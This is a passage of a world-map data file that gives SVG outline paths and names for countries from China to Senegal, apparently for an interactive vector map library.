3,-2.06l0.18,-1.68l2.16,-3.35l1.49,-1.35l-0.03,-1.85l-1.07,-0.85l1.54,-1.26l2.98,-0.59l3.23,-0.09l3.64,0.99l2.04,1.16l3.29,6.71l0.92,3.19ZM696.92,237.31l-1.87,1.08l-1.63,-0.64l-0.06,-1.79l1.03,-0.98l2.58,-0.69l1.16,0.05l0.3,0.54l-0.98,1.06l-0.53,1.37Z",
			name: "China",
		},
		CM: {
			path: "M457.92,257.49l1.05,1.91l-1.4,0.16l-1.05,-0.23l-0.45,0.22l-0.54,1.19l0.08,0.45l1.48,1.47l1.05,0.45l1.01,2.46l-1.52,2.99l-0.68,0.68l-0.13,3.69l2.38,3.84l1.09,0.8l0.24,2.48l-3.67,-1.14l-11.27,-0.13l0.23,-1.79l-0.98,-1.66l-1.19,-0.54l-0.44,-0.97l-0.6,-0.42l1.71,-4.27l0.75,-0.13l1.38,-1.36l0.65,-0.03l1.71,0.99l1.93,-1.12l1.14,-3.18l1.38,-1.17l2.0,-5.14l2.17,-2.13l0.3,-1.64l-0.86,-0.88l0.03,-0.33l0.94,1.28l0.07,3.22Z",
			name: "Cameroon",
		},
		CL: {
			path: "M246.5,429.18l-3.14,1.83l-0.57,3.16l-0.64,0.05l-2.68,-1.06l-2.82,-2.33l-3.04,-1.89l-0.69,-1.85l0.63,-2.14l-1.21,-2.11l-0.31,-5.37l1.01,-2.91l2.57,-2.38l-0.18,-0.68l-3.16,-0.77l2.05,-2.47l0.77,-4.65l2.32,0.9l0.54,-0.29l1.31,-6.31l-0.22,-0.44l-1.68,-0.8l-0.56,0.28l-0.7,3.36l-0.81,-0.22l1.56,-9.41l1.15,-2.24l-0.71,-2.82l-0.18,-2.84l1.01,-0.33l3.26,-9.14l1.07,-4.22l-0.56,-4.21l0.74,-2.34l-0.29,-3.27l1.46,-3.34l2.04,-16.59l-0.66,-7.76l1.03,-0.53l0.54,-0.9l0.79,1.14l0.32,1.78l1.25,1.16l-0.69,2.55l1.33,2.9l0.97,3.59l0.46,0.29l1.5,-0.3l0.11,0.23l-0.76,2.44l-2.57,1.23l-0.23,0.37l0.08,4.33l-0.46,0.77l0.56,1.21l-1.58,1.51l-1.68,2.62l-0.89,2.47l0.2,2.7l-1.48,2.73l1.12,5.09l0.64,0.61l-0.01,2.29l-1.38,2.68l0.01,2.4l-1.89,2.04l0.02,2.75l0.69,2.57l-1.43,1.13l-1.26,5.68l0.39,3.51l-0.97,0.89l0.58,3.5l1.02,1.14l-0.65,1.02l0.15,0.57l1.0,0.53l0.16,0.69l-1.03,0.85l0.26,1.75l-0.89,4.03l-1.31,2.66l0.24,1.75l-0.71,1.83l-1.99,1.7l0.3,3.67l0.88,1.19l1.58,0.01l0.01,2.21l1.04,1.95l5.98,0.63ZM248.69,430.79l0.0,7.33l0.4,0.4l3.52,0.05l-0.44,0.75l-1.94,0.98l-2.49,-0.37l-1.88,-1.06l-2.55,-0.49l-5.59,-3.71l-2.38,-2.63l4.1,2.48l3.32,1.23l0.45,-0.12l1.29,-1.57l0.83,-2.32l2.05,-1.24l1.31,0.29Z",
			name: "Chile",
		},
		CA: {
			path: "M280.06,145.6l-1.67,2.88l0.07,0.49l0.5,0.04l1.46,-0.98l1.0,0.42l-0.56,0.72l0.17,0.62l2.22,0.89l1.35,-0.71l1.95,0.78l-0.66,2.01l0.5,0.51l1.32,-0.42l0.98,3.17l-0.91,2.41l-0.8,0.08l-1.23,-0.45l0.47,-2.25l-0.89,-0.83l-0.48,0.06l-2.78,2.63l-0.34,-0.02l1.02,-0.85l-0.14,-0.69l-2.4,-0.77l-7.4,0.08l-0.17,-0.41l1.3,-0.94l0.02,-0.64l-0.73,-0.58l1.85,-1.74l2.57,-5.16l1.47,-1.79l1.99,-1.05l0.46,0.06l-1.53,2.45ZM68.32,74.16l4.13,0.95l4.02,2.14l2.61,0.4l2.47,-1.89l2.88,-1.31l3.85,0.48l3.71,-1.94l3.82,-1.04l1.56,1.68l0.49,0.08l1.87,-1.04l0.65,-1.98l1.24,0.35l4.16,3.94l0.54,0.01l2.75,-2.49l0.26,2.59l0.49,0.35l3.08,-0.73l1.04,-1.27l2.73,0.23l3.83,1.86l5.86,1.61l3.47,0.75l2.44,-0.26l2.73,1.78l-2.98,1.81l-0.19,0.41l0.31,0.32l4.53,0.92l6.87,-0.5l2.0,-0.69l2.49,2.39l0.53,0.02l2.72,-2.16l-0.02,-0.64l-2.16,-1.54l1.15,-1.06l4.83,-0.61l1.84,0.95l2.48,2.31l3.01,-0.23l4.55,1.92l3.85,-0.67l3.61,0.1l0.41,-0.44l-0.25,-2.36l1.79,-0.61l3.49,1.32l-0.01,3.77l0.31,0.39l0.45,-0.22l1.48,-3.16l1.74,0.1l0.41,-0.3l1.13,-4.37l-2.78,-3.11l-2.8,-1.74l0.19,-4.64l2.71,-3.07l2.98,0.67l2.41,1.95l3.19,4.8l-1.99,1.97l0.21,0.68l4.33,0.84l-0.01,4.15l0.25,0.37l0.44,-0.09l3.07,-3.15l2.54,2.39l-0.61,3.33l2.42,2.88l0.61,0.0l2.61,-3.08l1.88,-3.82l0.17,-4.58l6.72,0.94l3.13,2.04l0.13,1.82l-1.76,2.19l-0.01,0.49l1.66,2.16l-0.26,1.71l-4.68,2.8l-3.28,0.61l-2.47,-1.2l-0.55,0.23l-0.73,2.04l-2.38,3.43l-0.74,1.77l-2.74,2.57l-3.44,0.25l-2.21,1.78l-0.28,2.53l-2.82,0.55l-3.12,3.22l-2.72,4.31l-1.03,3.17l-0.14,4.31l0.33,0.41l3.44,0.57l2.24,5.95l0.45,0.23l3.4,-0.69l4.52,1.51l2.43,1.31l1.91,1.73l3.1,0.96l2.62,1.46l6.6,0.54l-0.35,2.74l0.81,3.53l1.81,3.78l3.83,3.3l0.45,0.04l2.1,-1.28l1.37,-3.69l-1.31,-5.38l-1.45,-1.58l3.57,-1.47l2.84,-2.46l1.52,-2.8l-0.25,-2.55l-1.7,-3.07l-2.85,-2.61l2.8,-3.95l-1.08,-3.37l-0.79,-5.67l1.36,-0.7l6.76,1.41l2.12,-0.96l5.12,3.36l1.05,1.61l4.08,0.26l-0.06,2.87l0.83,4.7l0.3,0.32l2.16,0.54l1.73,2.06l0.5,0.09l3.63,-2.03l2.52,-4.19l1.26,-1.32l7.6,11.72l-0.92,2.04l0.16,0.51l3.3,1.97l2.22,1.98l4.1,0.98l1.43,0.99l0.95,2.79l2.1,0.68l0.84,1.08l0.17,3.45l-3.37,2.26l-4.22,1.24l-3.06,2.63l-4.06,0.51l-5.35,-0.69l-6.39,0.2l-2.3,2.41l-3.26,1.51l-6.47,7.15l-0.06,0.48l0.44,0.19l2.13,-0.52l4.17,-4.24l5.12,-2.62l3.52,-0.3l1.69,1.21l-2.12,2.21l0.81,3.47l1.02,2.61l3.47,1.6l4.14,-0.45l2.15,-2.8l0.26,1.48l1.14,0.8l-2.56,1.69l-5.5,1.82l-2.54,1.27l-2.74,2.15l-1.4,-0.16l-0.07,-2.01l4.14,-2.44l0.18,-0.45l-0.39,-0.29l-6.63,0.45l-1.39,-1.49l-0.14,-4.43l-1.11,-0.91l-1.82,0.39l-0.66,-0.66l-0.6,0.03l-1.91,2.39l-0.82,2.52l-0.8,1.27l-1.67,0.56l-0.46,0.76l-8.31,0.07l-1.21,0.62l-2.35,1.97l-0.71,-0.14l-1.37,0.96l-1.12,-0.48l-4.74,1.26l-0.9,1.17l0.21,0.62l1.73,0.3l-1.81,0.31l-1.85,0.81l-2.11,-0.13l-2.95,1.78l-0.69,-0.09l1.39,-2.1l1.73,-1.21l0.1,-2.29l1.16,-1.99l0.49,0.53l2.03,0.42l1.2,-1.16l0.02,-0.47l-2.66,-3.51l-2.28,-0.61l-5.64,-0.71l-0.4,-0.57l-0.79,0.13l0.2,-0.41l-0.22,-0.55l-0.68,-0.26l0.19,-1.26l-0.78,-0.73l0.31,-0.64l-0.29,-0.57l-2.6,-0.44l-0.75,-1.63l-0.94,-0.66l-4.31,-0.65l-1.13,1.19l-1.48,0.59l-0.85,1.06l-2.83,-0.76l-2.09,0.39l-2.39,-0.97l-4.24,-0.7l-0.57,-0.4l-0.41,-1.63l-0.4,-0.3l-0.85,0.02l-0.39,0.4l-0.01,0.85l-69.13,-0.01l-6.51,-4.52l-4.5,-1.38l-1.26,-2.66l0.33,-1.93l-0.23,-0.43l-3.01,-1.35l-0.55,-2.77l-2.89,-2.38l-0.04,-1.45l1.39,-1.83l-0.28,-2.55l-4.16,-2.2l-4.07,-6.6l-4.02,-3.22l-1.3,-1.88l-0.5,-0.13l-2.51,1.21l-2.23,1.87l-3.85,-3.88l-2.44,-1.04l-2.22,-0.13l0.03,-37.49ZM260.37,148.65l3.04,0.76l2.26,1.2l-3.78,-0.95l-1.53,-1.01ZM249.4,3.81l6.68,0.49l5.32,0.79l4.26,1.57l-0.07,1.1l-5.85,2.53l-6.02,1.21l-2.39,1.39l-0.18,0.45l0.39,0.29l4.01,-0.02l-4.65,2.82l-4.2,1.74l-4.19,4.59l-5.03,0.92l-1.67,1.15l-7.47,0.59l-0.37,0.37l0.32,0.42l2.41,0.49l-0.81,0.47l-0.12,0.59l1.83,2.41l-2.02,1.59l-3.81,1.51l-1.32,2.16l-3.38,1.53l-0.22,0.48l0.35,1.19l0.4,0.29l3.88,-0.18l0.03,0.61l-6.33,2.95l-6.41,-1.4l-7.43,0.79l-3.72,-0.62l-4.4,-0.25l-0.23,-1.83l4.29,-1.11l0.28,-0.51l-1.1,-3.45l1.0,-0.25l6.58,2.28l0.47,-0.16l-0.05,-0.49l-3.41,-3.45l-3.58,-0.98l1.48,-1.55l4.34,-1.29l0.97,-2.19l-0.16,-0.48l-3.42,-2.13l-0.81,-2.26l6.2,0.22l2.24,0.58l3.91,-2.1l0.2,-0.43l-0.35,-0.32l-5.64,-0.67l-8.73,0.36l-4.26,-1.9l-2.12,-2.4l-2.78,-1.66l-0.41,-1.52l3.31,-1.03l2.93,-0.2l4.91,-0.99l3.7,-2.27l2.87,0.3l2.62,1.67l0.56,-0.14l1.82,-3.2l3.13,-0.94l4.44,-0.69l7.53,-0.26l1.48,0.67l7.19,-1.06l10.8,0.79ZM203.85,57.54l0.01,0.42l1.97,2.97l0.68,-0.02l2.24,-3.72l5.95,-1.86l4.01,4.64l-0.35,2.91l0.5,0.43l4.95,-1.36l2.32,-1.8l5.31,2.28l3.27,2.11l0.3,1.84l0.48,0.33l4.42,-0.99l2.64,2.87l5.97,1.77l2.06,1.72l2.11,3.71l-4.19,1.86l-0.01,0.73l5.9,2.83l3.94,0.94l3.78,3.95l3.46,0.25l-0.63,2.37l-4.11,4.47l-2.76,-1.56l-3.9,-3.94l-3.59,0.41l-0.33,0.34l-0.19,2.72l2.63,2.38l3.42,1.89l0.94,0.97l1.55,3.75l-0.7,2.29l-2.74,-0.92l-6.25,-3.15l-0.51,0.13l0.05,0.52l6.07,5.69l0.18,0.59l-6.09,-1.39l-5.31,-2.24l-2.63,-1.66l0.6,-0.77l-0.12,-0.6l-7.39,-4.01l-0.59,0.37l0.03,0.79l-6.73,0.6l-1.69,-1.1l1.36,-2.46l4.51,-0.07l5.15,-0.52l0.31,-0.6l-0.74,-1.3l0.78,-1.84l3.21,-4.05l-0.67,-2.35l-1.11,-1.6l-3.84,-2.1l-4.35,-1.28l0.91,-0.63l0.06,-0.61l-2.65,-2.75l-2.34,-0.36l-1.89,-1.46l-0.53,0.03l-1.24,1.23l-4.36,0.55l-9.04,-0.99l-9.26,-1.98l-1.6,-1.22l2.22,-1.77l0.13,-0.44l-0.38,-0.27l-3.22,-0.02l-0.72,-4.25l1.83,-4.04l2.42,-1.85l5.5,-1.1l-1.39,2.35ZM261.19,159.33l2.07,0.61l1.44,-0.04l-1.15,0.63l-2.94,-1.23l-0.4,-0.68l0.36,-0.37l0.61,1.07ZM230.83,84.39l-2.37,0.18l-0.49,-1.63l0.93,-2.09l1.94,-0.51l1.62,0.99l0.02,1.52l-1.66,1.54ZM229.43,58.25l0.11,0.65l-4.87,-0.21l-2.72,0.62l-3.1,-2.57l0.08,-1.26l0.86,-0.23l5.57,0.51l4.08,2.5ZM222.0,105.02l-0.72,1.49l-0.63,-0.19l-0.48,-0.84l0.81,-0.99l0.65,0.05l0.37,0.46ZM183.74,38.32l2.9,1.7l4.79,-0.01l1.84,1.46l-0.49,1.68l0.23,0.48l2.82,1.14l1.76,1.26l7.01,0.65l4.1,-1.1l5.03,-0.43l3.93,0.35l2.48,1.77l0.46,1.7l-1.3,1.1l-3.56,1.01l-3.23,-0.59l-7.17,0.76l-5.09,0.09l-3.99,-0.6l-6.42,-1.54l-0.79,-2.51l-0.3,-2.49l-2.64,-2.5l-5.32,-0.72l-2.52,-1.4l0.68,-1.57l4.78,0.31ZM207.38,91.35l0.4,1.56l0.56,0.26l1.06,-0.52l1.32,0.96l5.42,2.57l0.2,1.68l0.46,0.35l1.68,-0.28l1.15,0.85l-1.55,0.87l-3.61,-0.88l-1.32,-1.69l-0.57,-0.06l-2.45,2.1l-3.12,1.79l-0.7,-1.87l-0.42,-0.26l-2.16,0.24l1.39,-1.39l0.32,-3.14l0.76,-3.35l1.18,0.22ZM215.49,102.6l-2.67,1.95l-1.4,-0.07l-0.3,-0.58l1.53,-1.48l2.84,0.18ZM202.7,24.12l2.53,1.59l-2.87,1.4l-4.53,4.05l-4.25,0.38l-5.03,-0.68l-2.45,-2.04l0.03,-1.62l1.82,-1.37l0.14,-0.45l-0.38,-0.27l-4.45,0.04l-2.59,-1.76l-1.41,-2.29l1.57,-2.32l1.62,-1.66l2.44,-0.39l0.25,-0.65l-0.6,-0.74l4.86,-0.25l3.24,3.11l8.16,2.3l1.9,3.61ZM187.47,59.2l-2.76,3.49l-2.38,-0.15l-1.44,-3.84l0.04,-2.2l1.19,-1.88l2.3,-1.23l5.07,0.17l4.11,1.02l-3.24,3.72l-2.88,0.89ZM186.07,48.79l-1.08,1.53l-3.34,-0.34l-2.56,-1.1l1.03,-1.75l3.25,-1.23l1.95,1.58l0.75,1.3ZM185.71,35.32l-5.3,-0.2l-0.32,-0.71l4.31,0.07l1.3,0.84ZM180.68,32.48l-3.34,1.0l-1.79,-1.1l-0.98,-1.87l-0.15,-1.73l4.1,0.53l2.67,1.7l-0.51,1.47ZM180.9,76.31l-1.1,1.08l-3.13,-1.23l-2.12,0.43l-2.71,-1.57l1.72,-1.09l1.55,-1.72l3.81,1.9l1.98,2.2ZM169.74,54.87l2.96,0.97l4.17,-0.57l0.41,0.88l-2.14,2.11l0.09,0.64l3.55,1.92l-0.4,3.72l-3.79,1.65l-2.17,-0.35l-1.72,-1.74l-6.02,-3.5l0.03,-0.85l4.68,0.54l0.4,-0.21l-0.05,-0.45l-2.48,-2.81l2.46,-1.95ZM174.45,40.74l1.37,1.73l0.07,2.44l-1.05,3.45l-3.79,0.47l-2.32,-0.69l0.05,-2.64l-0.44,-0.41l-3.68,0.35l-0.12,-3.1l2.45,0.1l3.67,-1.73l3.41,0.29l0.37,-0.26ZM170.05,31.55l0.67,1.56l-3.33,-0.49l-4.22,-1.77l-4.35,-0.16l1.4,-0.94l-0.06,-0.7l-2.81,-1.23l-0.12,-1.39l4.39,0.68l6.62,1.98l1.81,2.47ZM134.5,58.13l-1.02,1.82l0.45,0.58l5.4,-1.39l3.33,2.29l0.49,-0.03l2.6,-2.23l1.94,1.32l2.0,4.5l0.7,0.06l1.3,-2.29l-1.63,-4.46l1.69,-0.54l2.31,0.71l2.65,1.81l2.49,7.92l8.48,4.27l-0.19,1.35l-3.79,0.33l-0.26,0.67l1.4,1.49l-0.58,1.1l-4.23,-0.64l-4.43,-1.19l-3.0,0.28l-4.66,1.47l-10.52,1.04l-1.43,-2.02l-3.42,-1.2l-2.21,0.43l-2.51,-2.86l4.84,-1.05l3.6,0.19l3.27,-0.78l0.31,-0.39l-0.31,-0.39l-4.84,-1.06l-8.79,0.27l-0.85,-1.07l5.26,-1.66l0.27,-0.45l-0.4,-0.34l-3.8,0.06l-3.81,-1.06l1.81,-3.01l1.66,-1.79l6.48,-2.81l1.97,0.71ZM158.7,56.61l-1.7,2.44l-3.2,-2.75l0.37,-0.3l3.11,-0.18l1.42,0.79ZM149.61,42.73l1.01,1.89l0.5,0.18l2.14,-0.82l2.23,0.19l0.36,2.04l-1.33,2.09l-8.28,0.76l-6.35,2.15l-3.41,0.1l-0.19,-0.96l4.9,-2.08l0.23,-0.46l-0.41,-0.31l-11.25,0.59l-2.89,-0.74l3.04,-4.44l2.14,-1.32l6.81,1.69l4.58,3.06l4.37,0.39l0.36,-0.63l-3.36,-4.6l1.85,-1.53l2.18,0.51l0.77,2.26ZM144.76,34.41l-4.36,1.44l-3.0,-1.4l1.46,-1.24l3.47,-0.52l2.96,0.71l-0.52,1.01ZM145.13,29.83l-1.9,0.66l-3.67,-0.0l2.27,-1.61l3.3,0.95ZM118.92,65.79l-6.03,2.02l-1.33,-1.9l-5.38,-2.28l2.59,-5.05l2.16,-3.14l-0.02,-0.48l-1.97,-2.41l7.64,-0.7l3.6,1.02l6.3,0.27l4.42,2.95l-2.53,0.98l-6.24,3.43l-3.1,3.28l-0.11,2.01ZM129.54,35.53l-0.28,3.37l-1.72,1.62l-2.33,0.28l-4.61,2.19l-3.86,0.76l-2.64,-0.87l3.72,-3.4l5.01,-3.34l3.72,0.07l3.0,-0.67ZM111.09,152.69l-0.67,0.24l-3.85,-1.37l-0.83,-1.17l-2.12,-1.07l-0.66,-1.02l-2.4,-0.55l-0.74,-1.71l6.02,1.45l2.0,2.55l2.52,1.39l0.73,1.27ZM87.8,134.64l0.89,0.29l1.86,-0.21l-0.65,3.34l1.69,2.33l-1.31,-1.33l-0.99,-1.62l-1.17,-0.98l-0.33,-1.82Z",
			name: "Canada",
		},
		CG: {
			path: "M466.72,276.48l-0.1,1.03l-1.25,2.97l-0.19,3.62l-0.46,1.78l-0.23,0.63l-1.61,1.19l-1.21,1.39l-1.09,2.43l0.04,2.09l-3.25,3.24l-0.5,-0.24l-0.5,-0.83l-1.36,-0.02l-0.98,0.89l-1.68,-0.99l-1.54,1.24l-1.52,-1.96l1.57,-1.14l0.11,-0.52l-0.77,-1.35l2.1,-0.66l0.39,-0.73l1.05,0.82l2.21,0.11l1.12,-1.37l0.37,-1.81l-0.27,-2.09l-1.13,-1.5l1.0,-2.69l-0.13,-0.45l-0.92,-0.58l-1.6,0.17l-0.51,-0.94l0.1,-0.61l2.75,0.09l3.97,1.24l0.51,-0.33l0.17,-1.28l1.24,-2.21l1.28,-1.14l2.76,0.49Z",
			name: "Congo",
		},
		CF: {
			path: "M461.16,278.2l-0.26,-1.19l-1.09,-0.77l-0.84,-1.17l-0.29,-1.0l-1.04,-1.15l0.08,-3.43l0.58,-0.49l1.16,-2.35l1.85,-0.17l0.61,-0.62l0.97,0.58l3.15,-0.96l2.48,-1.92l0.02,-0.96l2.81,0.02l2.36,-1.17l1.93,-2.85l1.16,-0.93l1.11,-0.3l0.27,0.86l1.34,1.47l-0.39,2.01l0.3,1.01l4.01,2.75l0.17,0.93l2.63,2.31l0.6,1.44l2.08,1.4l-3.84,-0.21l-1.94,0.88l-1.23,-0.49l-2.67,1.2l-1.29,-0.18l-0.51,0.36l-0.6,1.22l-3.35,-0.65l-1.57,-0.91l-2.42,-0.83l-1.45,0.91l-0.97,1.27l-0.26,1.56l-3.22,-0.43l-1.49,1.33l-0.94,1.62Z",
			name: "Central African Rep.",
		},
		CD: {
			path: "M487.01,272.38l2.34,-0.14l1.35,1.84l1.34,0.45l0.86,-0.39l1.21,0.12l1.07,-0.41l0.54,0.89l2.04,1.54l-0.14,2.72l0.7,0.54l-1.38,1.13l-1.53,2.54l-0.17,2.05l-0.59,1.08l-0.02,1.72l-0.72,0.84l-0.66,3.01l0.63,1.32l-0.44,4.26l0.64,1.47l-0.37,1.22l0.86,1.8l1.53,1.41l0.3,1.26l0.44,0.5l-4.08,0.75l-0.92,1.81l0.51,1.34l-0.74,5.43l0.17,0.38l2.45,1.46l0.54,-0.1l0.12,1.62l-1.28,-0.01l-1.85,-2.35l-1.94,-0.45l-0.48,-1.13l-0.55,-0.2l-1.41,0.74l-1.71,-0.3l-1.01,-1.18l-2.49,-0.19l-0.44,-0.77l-1.98,-0.21l-2.88,0.36l0.11,-2.41l-0.85,-1.13l-0.16,-1.36l0.32,-1.73l-0.46,-0.89l-0.04,-1.49l-0.4,-0.39l-2.53,0.02l0.1,-0.41l-0.39,-0.49l-1.28,0.01l-0.43,0.45l-1.62,0.32l-0.83,1.79l-1.09,-0.28l-2.4,0.52l-1.37,-1.91l-1.3,-3.3l-0.38,-0.27l-7.39,-0.03l-2.46,0.42l0.5,-0.45l0.37,-1.47l0.66,-0.38l0.92,0.08l0.73,-0.82l0.87,0.02l0.31,0.68l1.4,0.36l3.59,-3.63l0.01,-2.23l1.02,-2.29l2.69,-2.39l0.43,-0.99l0.49,-1.96l0.17,-3.51l1.25,-2.95l0.36,-3.14l0.86,-1.13l1.1,-0.66l3.57,1.73l3.65,0.73l0.46,-0.21l0.8,-1.46l1.24,0.19l2.61,-1.17l0.81,0.44l1.04,-0.03l0.59,-0.66l0.7,-0.16l1.81,0.25Z",
			name: "Dem. Rep. Congo",
		},
		CZ: {
			path: "M458.46,144.88l1.22,1.01l1.47,0.23l0.13,0.93l1.36,0.68l0.54,-0.2l0.24,-0.55l1.15,0.25l0.53,1.09l1.68,0.18l0.6,0.84l-1.04,0.73l-0.96,1.28l-1.6,0.17l-0.55,0.56l-1.04,-0.46l-1.05,0.15l-2.12,-0.96l-1.05,0.34l-1.2,1.12l-1.56,-0.87l-2.57,-2.1l-0.53,-1.88l4.7,-2.52l0.71,0.26l0.9,-0.28Z",
			name: "Czech Rep.",
		},
		CY: {
			path: "M504.36,193.47l0.43,0.28l-1.28,0.57l-0.92,-0.28l-0.24,-0.46l2.01,-0.13Z",
			name: "Cyprus",
		},
		CR: {
			path: "M211.34,258.05l0.48,0.99l1.6,1.6l-0.54,0.45l0.29,1.42l-0.25,1.19l-1.09,-0.59l-0.05,-1.25l-2.46,-1.42l-0.28,-0.77l-0.66,-0.45l-0.45,-0.0l-0.11,1.04l-1.32,-0.95l0.31,-1.3l-0.36,-0.6l0.31,-0.27l1.42,0.58l1.29,-0.14l0.56,0.56l0.74,0.17l0.55,-0.27Z",
			name: "Costa Rica",
		},
		CU: {
			path: "M221.21,227.25l1.27,1.02l2.19,-0.28l4.43,3.33l2.08,0.43l-0.1,0.38l0.36,0.5l1.75,0.1l1.48,0.84l-3.11,0.51l-4.15,-0.03l0.77,-0.67l-0.04,-0.64l-1.2,-0.74l-1.49,-0.16l-0.7,-0.61l-0.56,-1.4l-0.4,-0.25l-1.34,0.1l-2.2,-0.66l-0.88,-0.58l-3.18,-0.4l-0.27,-0.16l0.58,-0.74l-0.36,-0.29l-2.72,-0.05l-1.7,1.29l-0.91,0.03l-0.61,0.69l-1.01,0.22l1.11,-1.29l1.01,-0.52l3.69,-1.01l3.98,0.21l2.21,0.84Z",
			name: "Cuba",
		},
		SZ: {
			path: "M500.35,351.36l0.5,2.04l-0.38,0.89l-1.05,0.21l-1.23,-1.2l-0.02,-0.64l0.83,-1.57l1.34,0.27Z",
			name: "Swaziland",
		},
		SY: {
			path: "M511.0,199.79l0.05,-1.33l0.54,-1.36l1.28,-0.99l0.13,-0.45l-0.41,-1.11l-1.14,-0.36l-0.19,-1.74l0.52,-1.0l1.29,-1.21l0.2,-1.18l0.59,0.23l2.62,-0.76l1.36,0.52l2.06,-0.01l2.95,-1.08l3.25,-0.26l-0.67,0.94l-1.28,0.66l-0.21,0.4l0.23,2.01l-0.88,3.19l-10.15,5.73l-2.15,-0.85Z",
			name: "Syria",
		},
		KG: {
			path: "M621.35,172.32l-3.87,1.69l-0.96,1.18l-3.04,0.34l-1.13,1.86l-2.36,-0.35l-1.99,0.63l-2.39,1.4l0.06,0.95l-0.4,0.37l-4.52,0.43l-3.02,-0.93l-2.37,0.17l0.11,-0.79l2.32,0.42l1.13,-0.88l1.99,0.2l3.21,-2.14l-0.03,-0.69l-2.97,-1.57l-1.94,0.65l-1.22,-0.74l1.71,-1.58l-0.12,-0.67l-0.36,-0.15l0.32,-0.77l1.36,-0.35l4.02,1.02l0.49,-0.3l0.35,-1.59l1.09,-0.48l3.42,1.22l1.11,-0.31l7.64,0.39l1.16,1.0l1.23,0.39Z",
			name: "Kyrgyzstan",
		},
		KE: {
			path: "M506.26,284.69l1.87,-2.56l0.93,-2.15l-1.38,-4.08l-1.06,-1.6l2.82,-2.75l0.79,0.26l0.12,1.41l0.86,0.83l1.9,0.11l3.28,2.13l3.57,0.44l1.05,-1.12l1.96,-0.9l0.82,0.68l1.16,0.09l-1.78,2.45l0.03,9.12l1.3,1.94l-1.37,0.78l-0.67,1.03l-1.08,0.46l-0.34,1.67l-0.81,1.07l-0.45,1.55l-0.68,0.56l-3.2,-2.23l-0.35,-1.58l-8.86,-4.98l0.14,-1.6l-0.57,-1.04Z",
			name: "Kenya",
		},
		SS: {
			path: "M481.71,263.34l1.07,-0.72l1.2,-3.18l1.36,-0.26l1.61,1.99l0.87,0.34l1.1,-0.41l1.5,0.07l0.57,0.53l2.49,0.0l0.44,-0.63l1.07,-0.4l0.45,-0.84l0.59,-0.33l1.9,1.33l1.6,-0.2l2.83,-3.33l-0.32,-2.21l1.59,-0.52l-0.24,1.6l0.3,1.83l1.35,1.18l0.2,1.87l0.35,0.41l0.02,1.53l-0.23,0.47l-1.42,0.25l-0.85,1.44l0.3,0.6l1.4,0.16l1.11,1.08l0.59,1.13l1.03,0.53l1.28,2.36l-4.41,3.98l-1.74,0.01l-1.89,0.55l-1.47,-0.52l-1.15,0.57l-2.96,-2.62l-1.3,0.49l-1.06,-0.15l-0.79,0.39l-0.82,-0.22l-1.8,-2.7l-1.91,-1.1l-0.66,-1.5l-2.62,-2.32l-0.18,-0.94l-2.37,-1.6Z",
			name: "S. Sudan",
		},
		SR: {
			path: "M283.12,270.19l2.1,0.53l-1.08,1.95l0.2,1.72l0.93,1.49l-0.59,2.03l-0.43,0.71l-1.12,-0.42l-1.32,0.22l-0.93,-0.2l-0.46,0.26l-0.25,0.73l0.33,0.7l-0.89,-0.13l-1.39,-1.97l-0.31,-1.34l-0.97,-0.31l-0.89,-1.47l0.35,-1.61l1.45,-0.82l0.33,-1.87l2.61,0.44l0.57,-0.47l1.75,-0.16Z",
			name: "Suriname",
		},
		KH: {
			path: "M689.52,249.39l0.49,1.45l-0.28,2.74l-4.0,1.86l-0.16,0.6l0.68,0.95l-2.06,0.17l-2.05,0.97l-1.82,-0.32l-2.12,-3.7l-0.55,-2.85l1.4,-1.85l3.02,-0.45l2.23,0.35l2.01,0.98l0.51,-0.14l0.95,-1.48l1.74,0.74Z",
			name: "Cambodia",
		},
		SV: {
			path: "M195.8,250.13l1.4,-1.19l2.24,1.45l0.98,-0.27l0.44,0.2l-0.27,1.05l-1.14,-0.03l-3.64,-1.21Z",
			name: "El Salvador",
		},
		SK: {
			path: "M476.82,151.17l-1.14,1.9l-2.73,-0.92l-0.82,0.2l-0.74,0.8l-3.46,0.73l-0.47,0.69l-1.76,0.33l-1.88,-1.0l-0.18,-0.81l0.38,-0.75l1.87,-0.32l1.74,-1.89l0.83,0.16l0.79,-0.34l1.51,1.04l1.34,-0.63l1.25,0.3l1.65,-0.42l1.81,0.95Z",
			name: "Slovakia",
		},
		KR: {
			path: "M737.51,185.84l0.98,-0.1l0.87,-1.17l2.69,-0.32l0.33,-0.29l1.76,2.79l0.58,1.76l0.02,3.12l-0.8,1.32l-2.21,0.55l-1.93,1.13l-1.8,0.19l-0.2,-1.1l0.43,-2.28l-0.95,-2.56l1.43,-0.37l0.23,-0.62l-1.43,-2.06Z",
			name: "Korea",
		},
		SI: {
			path: "M456.18,162.07l-0.51,-1.32l0.18,-1.05l1.69,0.2l1.42,-0.71l2.09,-0.07l0.62,-0.51l0.21,0.47l-1.61,0.67l-0.44,1.34l-0.66,0.24l-0.26,0.82l-1.22,-0.49l-0.84,0.46l-0.69,-0.04Z",
			name: "Slovenia",
		},
		KP: {
			path: "M736.77,185.16l-0.92,-0.42l-0.88,0.62l-1.21,-0.88l0.96,-1.15l0.59,-2.59l-0.46,-0.74l-2.09,-0.77l1.64,-1.52l2.72,-1.58l1.58,-1.91l1.11,0.78l2.17,0.11l0.41,-0.5l-0.3,-1.22l3.52,-1.18l0.94,-1.4l0.98,1.08l-2.19,2.18l0.01,2.14l-1.06,0.54l-1.41,1.4l-1.7,0.52l-1.25,1.09l-0.14,1.98l0.94,0.45l1.15,1.04l-0.13,0.26l-2.6,0.29l-1.13,1.29l-1.22,0.08Z",
			name: "Dem. Rep. Korea",
		},
		KW: {
			path: "M540.81,207.91l0.37,0.86l-0.17,0.76l0.6,1.53l-0.95,0.04l-0.82,-1.28l-1.57,-0.18l1.31,-1.88l1.22,0.17Z",
			name: "Kuwait",
		},
		SN: {
			path: "M390.09,248.21l0.12,1.55l0.49,1.46l0.96,0.82l0.05,1.28l-1.26,-0.19l-0.75,0.33l-1.84,-0.61l-5.84,-0.13l-2.54,0.51l-0.22,-1.03l1.77,0.04l2.01,-0.91l1.03,0.48l1.09,0.04l1.29,-0.62l0.14,-0.58l-0.51,-0.74l-1.81,0.25l-1.13,-0.63l-0.79,0.04l-0.72,0.61l-2.31,0.06l-0.92,-1.77l-0.81,-0.64l0.64,-0.35l2.46,-3.74l1.04,0.19l1.38,-0.56l1.19,-0.02l2.72,1.37l3.03,3.48Z",
			name: "Senegal",
		},
		SL: {
